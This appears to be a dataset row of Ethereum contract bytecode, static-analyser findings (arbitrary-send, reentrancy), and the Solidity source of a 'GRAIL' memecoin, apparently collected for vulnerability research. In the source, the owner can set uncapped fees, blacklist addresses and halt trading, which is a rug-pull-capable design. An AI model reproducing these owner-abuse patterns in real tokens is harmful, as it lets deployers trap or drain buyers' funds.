ffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065590612436565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5347580000000000000000000000000000000000000000000000000000000000815250905090565b600061079661078f610d9d565b8484610f70565b6001905092915050565b6107a8610d9d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612436565b60405180910390fd5b600061084030610580565b905061084b816115ac565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108dd610d9d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096190612436565b60405180910390fd5b60007303f7724180aa6b939894b5ca4314783b0b36b329905080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506109fb30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af6800000610da5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4157600080fd5b505afa158015610a55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a799190611ebc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610adb57600080fd5b505afa158015610aef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b139190611ebc565b6040518363ffffffff1660e01b8152600401610b309291906122a6565b602060405180830381600087803b158015610b4a57600080fd5b505af1158015610b5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b829190611ebc565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c0b30610580565b600080610c1661071c565b426040518863ffffffff1660e01b8152600401610c38969594939291906122f8565b6060604051808303818588803b158015610c5157600080fd5b505af1158015610c65573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c8a9190611fd5565b5050506001600a60156101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610d479291906122cf565b602060405180830381600087803b158015610d6157600080fd5b505af1158015610d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d999190611fac565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0c90612496565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7c906123b6565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6391906124d6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd790612476565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104790612396565b60405180910390fd5b60008111611093576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108a90612456565b60405180910390fd5b61109b61071c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561110957506110d961071c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611427573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561117657503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156111d05750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561122a5750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561132657600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611270610d9d565b73ffffffffffffffffffffffffffffffffffffffff1614806112e65750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112ce610d9d565b73ffffffffffffffffffffffffffffffffffffffff16145b611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c906124b6565b60405180910390fd5b5b600061133130610580565b90506113716064611363600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610580565b6118a690919063ffffffff16565b6007819055506007548111156113875760075490505b600a60149054906101000a900460ff161580156113f25750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561140a5750600a60159054906101000a900460ff165b80156114165750600081115b1561142557611424816115ac565b5b505b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161461148357600190505b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115245750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561152e57600090505b61153a848484846118f0565b61154261191d565b50505050565b6000838311158290611590576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115879190612374565b60405180910390fd5b506000838561159f919061269c565b9050809150509392505050565b6001600a60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561160a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156116385781602001602082028036833780820191505090505b5090503081600081518110611676577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561171857600080fd5b505afa15801561172c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117509190611ebc565b8160018151811061178a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506117f130600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610da5565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118559594939291906124f1565b600060405180830381600087803b15801561186f57600080fd5b505af1158015611883573d6000803e3d6000fd5b50505050506000600a60146101000a81548160ff02191690831515021790555050565b60006118e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061192f565b905092915050565b806118fe576118fd611992565b5b6119098484846119a4565b806119175761191661191d565b5b50505050565b60076006819055506003600581905550565b60008083118290611976576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196d9190612374565b60405180910390fd5b50600083856119859190612611565b9050809150509392505050565b60006006819055506000600581905550565b60006006546005546119b691906125bb565b905060006119e0826119d26064866118a690919063ffffffff16565b611d0790919063ffffffff16565b836119eb919061269c565b90506000611a17600554611a096064876118a690919063ffffffff16565b611d0790919063ffffffff16565b90506000611a43600654611a356064886118a690919063ffffffff16565b611d0790919063ffffffff16565b9050611a9785600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8290919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b2c83600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcc90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bc182600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c5681600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dcc90919063ffffffff16565b600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611cf691906124d6565b60405180910390a350505050505050565b600080831415611d1a5760009050611d7c565b60008284611d289190612642565b9050828482611d379190612611565b14611d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6e90612416565b60405180910390fd5b809150505b92915050565b6000611dc483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611548565b905092915050565b6000808284611ddb91906125bb565b905083811015611e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e17906123d6565b60405180910390fd5b8091505092915050565b600081359050611e3981612a57565b92915050565b600081519050611e4e81612a57565b92915050565b600081519050611e6381612a6e565b92915050565b600081359050611e7881612a85565b92915050565b600081519050611e8d81612a85565b92915050565b600060208284031215611ea557600080fd5b6000611eb384828501611e2a565b91505092915050565b600060208284031215611ece57600080fd5b6000611edc84828501611e3f565b91505092915050565b60008060408385031215611ef857600080fd5b6000611f0685828601611e2a565b9250506020611f1785828601611e2a565b9150509250929050565b600080600060608486031215611f3657600080fd5b6000611f4486828701611e2a565b9350506020611f5586828701611e2a565b9250506040611f6686828701611e69565b9150509250925092565b60008060408385031215611f8357600080fd5b6000611f9185828601611e2a565b9250506020611fa285828601611e69565b9150509250929050565b600060208284031215611fbe57600080fd5b6000611fcc84828501611e54565b91505092915050565b600080600060608486031215611fea57600080fd5b6000611ff886828701611e7e565b935050602061200986828701611e7e565b925050604061201a86828701611e7e565b9150509250925092565b6000612030838361203c565b60208301905092915050565b612045816126d0565b82525050565b612054816126d0565b82525050565b600061206582612576565b61206f8185612599565b935061207a83612566565b8060005b838110156120ab5781516120928882612024565b975061209d8361258c565b92505060018101905061207e565b5085935050505092915050565b6120c1816126e2565b82525050565b6120d081612725565b82525050565b60006120e182612581565b6120eb81856125aa565b93506120fb818560208601612737565b612104816127c8565b840191505092915050565b600061211c6023836125aa565b9150612127826127d9565b604082019050919050565b600061213f6022836125aa565b915061214a82612828565b604082019050919050565b6000612162601b836125aa565b915061216d82612877565b602082019050919050565b6000612185601f836125aa565b9150612190826128a0565b602082019050919050565b60006121a86021836125aa565b91506121b3826128c9565b604082019050919050565b60006121cb6020836125aa565b91506121d682612918565b602082019050919050565b60006121ee6029836125aa565b91506121f982612941565b604082019050919050565b60006122116025836125aa565b915061221c82612990565b604082019050919050565b60006122346024836125aa565b915061223f826129df565b604082019050919050565b60006122576011836125aa565b915061226282612a2e565b602082019050919050565b6122768161270e565b82525050565b61228581612718565b82525050565b60006020820190506122a0600083018461204b565b92915050565b60006040820190506122bb600083018561204b565b6122c8602083018461204b565b9392505050565b60006040820190506122e4600083018561204b565b6122f1602083018461226d565b9392505050565b600060c08201905061230d600083018961204b565b61231a602083018861226d565b61232760408301876120c7565b61233460608301866120c7565b612341608083018561204b565b61234e60a083018461226d565b979650505050505050565b600060208201905061236e60008301846120b8565b92915050565b6000602082019050818103600083015261238e81846120d6565b905092915050565b600060208201905081810360008301526123af8161210f565b9050919050565b600060208201905081810360008301526123cf81612132565b9050919050565b600060208201905081810360008301526123ef81612155565b9050919050565b6000602082019050818103600083015261240f81612178565b9050919050565b6000602082019050818103600083015261242f8161219b565b9050919050565b6000602082019050818103600083015261244f816121be565b9050919050565b6000602082019050818103600083015261246f816121e1565b9050919050565b6000602082019050818103600083015261248f81612204565b9050919050565b600060208201905081810360008301526124af81612227565b9050919050565b600060208201905081810360008301526124cf8161224a565b9050919050565b60006020820190506124eb600083018461226d565b92915050565b600060a082019050612506600083018861226d565b61251360208301876120c7565b8181036040830152612525818661205a565b9050612534606083018561204b565b612541608083018461226d565b9695505050505050565b6000602082019050612560600083018461227c565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006125c68261270e565b91506125d18361270e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126065761260561276a565b5b828201905092915050565b600061261c8261270e565b91506126278361270e565b92508261263757612636612799565b5b828204905092915050565b600061264d8261270e565b91506126588361270e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156126915761269061276a565b5b828202905092915050565b60006126a78261270e565b91506126b28361270e565b9250828210156126c5576126c461276a565b5b828203905092915050565b60006126db826126ee565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006127308261270e565b9050919050565b60005b8381101561275557808201518184015260208101905061273a565b83811115612764576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f43616c6c6572206973206e6f74207468652066656520636f6c6c6563746f7200600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b612a60816126d0565b8114612a6b57600080fd5b50565b612a77816126e2565b8114612a8257600080fd5b50565b612a8e8161270e565b8114612a9957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202fccc51761ba8edc241bf1498abaafeee80198fd14c9ac705189263b084c50f664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,446 |
0x974ad1bf7f72f814fe620350e426a5be4cd09d7f
|
/**
This is the holy grail of memecoins
We will have surprises in store
If you blink, you'll miss
$GRAIL
~tokenomics
1% reflections
8% buy / sell tax
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract GRAIL is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GRAIL";///
string private constant _symbol = "GRAIL";///
uint8 private constant _decimals = 9;///
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 4000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 8;
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 8;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x924635Ed5CcDad99Db64D05cc16Bb4Bd1E5bBBbA);
address payable private _marketingAddress = payable(0x924635Ed5CcDad99Db64D05cc16Bb4Bd1E5bBBbA);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 40000000 * 10**9;
uint256 public _maxWalletSize = 80000000 * 10**9;
uint256 public _swapTokensAtAmount = 4000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
